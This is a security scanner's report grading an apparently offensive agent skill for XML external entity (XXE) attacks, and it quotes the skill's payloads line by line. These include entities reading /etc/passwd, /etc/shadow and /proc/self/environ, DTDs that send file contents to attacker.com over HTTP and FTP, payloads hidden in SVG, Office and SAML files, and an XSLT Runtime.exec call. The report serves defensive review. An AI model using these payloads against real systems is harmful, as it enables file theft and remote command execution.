xxe-xml-external-entity
https://raw.githubusercontent.com/yaklang/hack-skills/main/skills/xxe-xml-external-entity/SKILL.md
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:25:49 GMT
Scan ID crawl-p6o15p6ydi4jcvpweuaft68o · 7ms
C
SCORE 55 / 100
Verdict: Proceed with caution

26 high-severity findings.

This skill reads protected filesystem locations plus 27 other issues listed below.

0 critical26 high2 medium-16 rules passed

Why grade C?

score · 55 / 100

The current grade reflects 26 high-severity findings (3+ HIGHs → C).

0 CRIT26 HIGH2 MED0 LOW
To reach a higher grade
  • B
    Reach Btarget score 75

    Resolve 24 of 26 HIGH (cap is 2).

  • A
    Reach Atarget score 95

    Resolve all 26 HIGH.

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Findings · ordered by severity

high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 34CWE-552
▾
32<?xml version="1.0" encoding="UTF-8"?>
33<!DOCTYPE foo [
34 <!ENTITY xxe SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
35]>
36<root><data>&xxe;</data></root>
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 39CWE-552
▾
37```
38
39If `/etc/passwd` reflects in response → confirmed file read.← sensitive path — credential-exfiltration vector
40
41---
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 79CWE-552
▾
77**Attacker's server hosts a malicious DTD** at `http://attacker.com/evil.dtd`:
78```xml
79<!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
80<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
81%exfil;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 99CWE-552
▾
97```xml
98<!-- attacker.com/error.dtd -->
99<!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
100<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
101%eval;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 111CWE-552
▾
109**Linux**:
110```
111/etc/passwd← sensitive path — credential-exfiltration vector
112/etc/shadow (requires root)
113/etc/hosts
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 112CWE-552
▾
110```
111/etc/passwd
112/etc/shadow (requires root)← sensitive path — credential-exfiltration vector
113/etc/hosts
114/proc/self/environ ← environment variables (DB creds, API keys)
high
Sensitive filesystem path referenced
The skill references a path (`\/proc\/self\/environ`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 114CWE-552
▾
112/etc/shadow (requires root)
113/etc/hosts
114/proc/self/environ ← environment variables (DB creds, API keys)← sensitive path — credential-exfiltration vector
115/proc/self/cmdline ← process command line
116/var/log/apache2/access.log ← may contain passwords in URLs
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 138CWE-552
▾
136<?xml version="1.0" standalone="yes"?>
137<!DOCTYPE svg [
138 <!ENTITY xxe SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
139]>
140<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 158CWE-552
▾
156# Step 2: edit word/document.xml — add malicious DTD
157# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
158# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>← sensitive path — credential-exfiltration vector
159# Then use &xxe; inside document text
160
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 174CWE-552
▾
172<?xml version="1.0"?>
173<!DOCTYPE foo [
174 <!ENTITY xxe SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
175]>
176<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 205CWE-552
▾
203```xml
204<foo xmlns:xi="http://www.w3.org/2001/XInclude">
205 <xi:include href="file:///etc/passwd" parse="text"/>← sensitive path — credential-exfiltration vector
206</foo>
207```
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 220CWE-552
▾
218
219<!-- File read -->
220<!ENTITY xxe SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
221
222<!-- PHP wrapper (if PHP with libxml2) -->
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 223CWE-552
▾
221
222<!-- PHP wrapper (if PHP with libxml2) -->
223<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">← sensitive path — credential-exfiltration vector
224<!-- Decode base64 in response to get file contents -->
225
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 246CWE-552
▾
244Use PHP filter for base64:
245```xml
246<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">← sensitive path — credential-exfiltration vector
247```
248
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 259CWE-552
▾
257□ Find XML input point (or JSON→XML transformation)
258□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
259□ If yes → file read: SYSTEM "file:///etc/passwd"← sensitive path — credential-exfiltration vector
260□ If no reflection → OOB test via Collaborator URL
261□ If OOB hit → set up attacker DTD for file exfiltration
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 280CWE-552
▾
278 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
279 <!ENTITY % ISOamso '
280 <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
281 <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
282 &#x25;eval;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 338CWE-552
▾
336```xml
337<!-- attacker.com/ftp-exfil.dtd -->
338<!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
339<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'ftp://attacker.com:2121/%file;'>">
340%exfil;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 349CWE-552
▾
347
348```xml
349<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">← sensitive path — credential-exfiltration vector
350<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
351%exfil;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 383CWE-552
▾
381
382<!-- attacker.com/stage2.dtd -->
383<!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
384<!ENTITY % s3 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
385%s3;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 398CWE-552
▾
396|--------|-------------|-----------------|
397| **SOAP Envelope** | Entire body is XML | Add DOCTYPE before `<soap:Envelope>` |
398| **SVG Image** | SVG is XML | `<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in SVG header |← sensitive path — credential-exfiltration vector
399| **OOXML (.docx)** | `word/document.xml`, `[Content_Types].xml` | Inject DOCTYPE + entity into any XML member |
400| **OOXML (.xlsx)** | `xl/sharedStrings.xml`, `xl/worksheets/sheet1.xml` | Entity reference in cell values |
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 412CWE-552
▾
410<!-- Base64-decode the SAMLResponse, inject DOCTYPE -->
411<?xml version="1.0"?>
412<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>← sensitive path — credential-exfiltration vector
413<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
414 <saml:Assertion>
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 432CWE-552
▾
430```xml
431<?xml version="1.0"?>
432<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>← sensitive path — credential-exfiltration vector
433<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
434 <text x="10" y="50" font-size="14">&xxe;</text>
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 448CWE-552
▾
446# 2. Inject into xl/sharedStrings.xml
447# Add after XML declaration:
448# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>← sensitive path — credential-exfiltration vector
449# Replace a <t> element content with &xxe;
450
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 492CWE-552
▾
490```xml
491<!DOCTYPE foo [
492 <!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
493 <!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'jar:file:///nonexistent!/%file;'>">
494 %eval;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 504CWE-552
▾
502
503```xml
504<!ENTITY % file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
505<!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'file:///%file;'>">
506%int;
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 524CWE-552
▾
522<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
523 <xsl:template match="/">
524 <xsl:value-of select="document('file:///etc/passwd')"/>← sensitive path — credential-exfiltration vector
525 </xsl:template>
526</xsl:stylesheet>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 538CWE-78
▾
536 <xsl:template match="/">
537 <xsl:variable name="rtObj" select="rt:getRuntime()"/>
538 <xsl:variable name="process" select="rt:exec($rtObj,'id')"/>← spawns a subprocess outside declared capabilities
539 </xsl:template>
540</xsl:stylesheet>
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
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